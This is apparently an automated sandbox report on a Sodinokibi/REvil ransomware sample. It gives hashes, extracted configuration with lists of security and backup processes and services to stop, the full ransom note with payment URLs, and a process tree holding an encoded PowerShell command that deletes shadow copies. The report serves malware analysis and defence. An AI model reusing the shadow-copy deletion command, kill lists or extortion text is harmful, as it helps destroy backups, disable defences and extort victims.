Analysis

  • max time kernel
    130s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10-03-2024 02:50

General

  • Target

    babc36b5ce70990d1cf3d47c704fc2db.exe

  • Size

    123KB

  • MD5

    babc36b5ce70990d1cf3d47c704fc2db

  • SHA1

    f319267a09e4f1efa89c3a2b49a41373ead326ff

  • SHA256

    f3207b345d00de0722a1b533dbc4d9f2ff05b39e1393d780973ecbb3c7b008f3

  • SHA512

    493764e7aa4a5646ed6f419b5310fb595e9835e7808c64c444dd3dce99ceb3573539c4b61c9581a6885494f246550d9e4e5512306cb54407c587cbf90914aab7

  • SSDEEP

    1536:7DvcP3nThpshwVs5OE8yNcYQp+2ZZICS4AIjnBR561lQVMr3IgmffEbjQFOxL:yESVhaNcYM8gnBR5uiV1UvQFOxL

Malware Config

Extracted

Family

sodinokibi

Botnet

$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.

Campaign

4085

Decoy

sandd.nl

digivod.de

southeasternacademyofprosthodontics.org

resortmtn.com

mdk-mediadesign.de

tetinfo.in

fayrecreations.com

ecpmedia.vn

physiofischer.de

highlinesouthasc.com

antenanavi.com

blog.solutionsarchitect.guru

deepsouthclothingcompany.com

coursio.com

quickyfunds.com

atmos-show.com

pawsuppetlovers.com

hokagestore.com

midmohandyman.com

mmgdouai.fr

Attributes
  • net

    true

  • pid

    $2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.

  • prc

    sqbcoreservice

    dbsnmp

    mydesktopservice

    outlook

    ocomm

    excel

    mydesktopqos

    isqlplussvc

    onenote

    tbirdconfig

    msaccess

    encsvc

    infopath

    steam

    thebat

    agntsvc

    sql

    visio

    wordpad

    winword

    dbeng50

    powerpnt

    firefox

    xfssvccon

    mspub

    oracle

    thunderbird

    ocssd

    synctime

    ocautoupds

  • ransom_oneliner

    All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions

  • ransom_template

    ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

  • sub

    4085

  • svc

    memtas

    mepocs

    backup

    sophos

    sql

    svc$

    veeam

    vss

Extracted

Path

C:\Users\143dk16-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 143dk16. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C67F2498BB16FF6 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3C67F2498BB16FF6 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: ZG/o6FMAtHJenT/nRivdbOKq0vTw3CdOMKau8z2FZ4QmmmfADkTUsd/tOyXpMLZZ bB1pjrfKSVNreIk/8VD8jCbFDsXaaEvR1+yxS3tWIA9v8sl7YFtScbV800ObKfG1 fAtjsPyT+vTEnNgRb7n5gTly1hqAerRo+hJNJEgflWp/T4QUhlEDdxHOCIwSJoM5 Qx2vjEQhHldi2J46NJwFbHxuWUtNWwVvvUmjrCQNGCtIk8DNk4hcLtGDCAU/P2YH nGZZlooweZEHTbOpZNNsk/uEK55BdI7If0G+I3/VgdoywjC1+3zsUSp3CC47LekL 2EklwyEbnMzn746dU5c7oU30Qq0X5XjptfIzafoooQhPchSTXIuCRURoDUndUrNg K7bvjTQdHdi7ReHZIQalTh05rinfSWThQBkEtcVEedl6vToQ/7FT526du1HV3hv/ DKbYt8HocwCUUf8h2nR6DVijC7kLovByvAWS2CXOlGKyvsTI41d5zev0xfxJxqtA dFQ6u+wn8kqz25wyS73YHTL6RmzcFsZuj1Zzu99J96ROT4HtqmDBH+/7Kx3X80qK EGOet3UGEns/23joX12cNemCVK0J2ZmWgoY9ZUMCKidZYPMPZkOlo5An/Z1x5Zba ewfuedUEtx4vczMTS7ZwrkAVwIBJSEqGI14bxhyU3aNyPiZZ7PHWRaYi6LvRtfO+ VSviyQtsf6s1L41ZB9TPYrHvvplllT07jAvIaK1apjg9qKs6xzvlhDwI6HC9Ruch otU+2ZUHkiOYNJ1pRw2Pb9QyiaLMVYEVnSeZrCJGNwDg/2DlRIi9UDduXw9yzD1H YEH658dWkjqbidqKdb78/XXNIT5B/PyEl1t5rTKD7uAYxZFITc1SYMonokFIKLOR mFEQt7D0ec/FlS5+9B5WLCIpk4K+RpJ2LoY23lqIkKoG0Nk5FJHILizDsjpclRg1 O/UNoKnzqpw/2xTPDxUsImjajBAbFyl0bA8iYQtc8yy5TKONV8wxBQ/Mrxo0mGJP Kmy7i9I8KIBzC/YCTOVt1IyyHxKeFG3PBvZ8zewTbKi1TgATNV5D4dtck/UbB7w9 0UWl391mBEY16l0DahgJlQY8lReReVhzxJ+45CZOImsgDUJb60gpp/xuIoImpdxp Cu10vLwLR4s/gtKAE6EM7AjDPhk2yNL9e1+8MAoeQ3Ot21OneY5KRkxTlW6NCM6d DuUB+vpRqEy6mUZdFW2gSi+9GWnekU5xo8gqMA1VVBESSE3RPh/pQeo9Ncg0497c iLALq6kOEgdDrcx3uoX8l3scXMufNcPDq2WpSiDXGzcwsTjAYcKDEQkVdVe7vrU7 XzrRU1viC43ezgQgkDEwYnwWCTc6i2D8m+ih7HqJcd2TRw== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C67F2498BB16FF6

http://decryptor.cc/3C67F2498BB16FF6

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 20 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\babc36b5ce70990d1cf3d47c704fc2db.exe
    "C:\Users\Admin\AppData\Local\Temp\babc36b5ce70990d1cf3d47c704fc2db.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3040
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2284
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2736

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\143dk16-readme.txt

      Filesize

      6KB

      MD5

      577108a06a288eada53c06f2bc77c3fd

      SHA1

      669ede2042a6639769f3cd08dd7a219e2fa5c946

      SHA256

      6ce780c822e5f61c40d68e40b966b6439f063e9973e544373e44387a153fb078

      SHA512

      21213e89870f25c9d0351c4cc99f8842cab361d499d4a927db66bed411558bb2adfc3fb071a622d3649b978881c834f8ce59684cc7194c46ed82d781b23e5dbd

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      67KB

      MD5

      753df6889fd7410a2e9fe333da83a429

      SHA1

      3c425f16e8267186061dd48ac1c77c122962456e

      SHA256

      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

      SHA512

      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

    • C:\Users\Admin\AppData\Local\Temp\CabBD1A.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\TarF022.tmp

      Filesize

      175KB

      MD5

      dd73cead4b93366cf3465c8cd32e2796

      SHA1

      74546226dfe9ceb8184651e920d1dbfb432b314e

      SHA256

      a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

      SHA512

      ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

    • C:\Windows\System32\catroot2\dberr.txt

      Filesize

      192KB

      MD5

      f9749d8f5f4d86f4e4b9eb8be6b7a72f

      SHA1

      94f4c5e8430aaf2faded0424de6004054abf5f38

      SHA256

      cb6c048c191eb32349847c2beebd88c4365c159f1ce2517ab14dc24910bb3d85

      SHA512

      3f5a4cdd429c7afc563f2f147ba040bcd0298648e434e76d7bf2dc33b6d8d9245c32fbefd6153bbbf90632b49480753dbafe7009b46512e393e4a45dfb9d1fa7

    • memory/2364-0-0x0000000000270000-0x0000000000292000-memory.dmp

      Filesize

      136KB

    • memory/2364-464-0x0000000000270000-0x0000000000292000-memory.dmp

      Filesize

      136KB

    • memory/3040-7-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp

      Filesize

      9.6MB

    • memory/3040-12-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp

      Filesize

      9.6MB

    • memory/3040-10-0x00000000029D0000-0x0000000002A50000-memory.dmp

      Filesize

      512KB

    • memory/3040-11-0x00000000029D0000-0x0000000002A50000-memory.dmp

      Filesize

      512KB

    • memory/3040-9-0x000007FEF5500000-0x000007FEF5E9D000-memory.dmp

      Filesize

      9.6MB

    • memory/3040-8-0x00000000029D0000-0x0000000002A50000-memory.dmp

      Filesize

      512KB

    • memory/3040-6-0x0000000002290000-0x0000000002298000-memory.dmp

      Filesize

      32KB

    • memory/3040-5-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

      Filesize

      2.9MB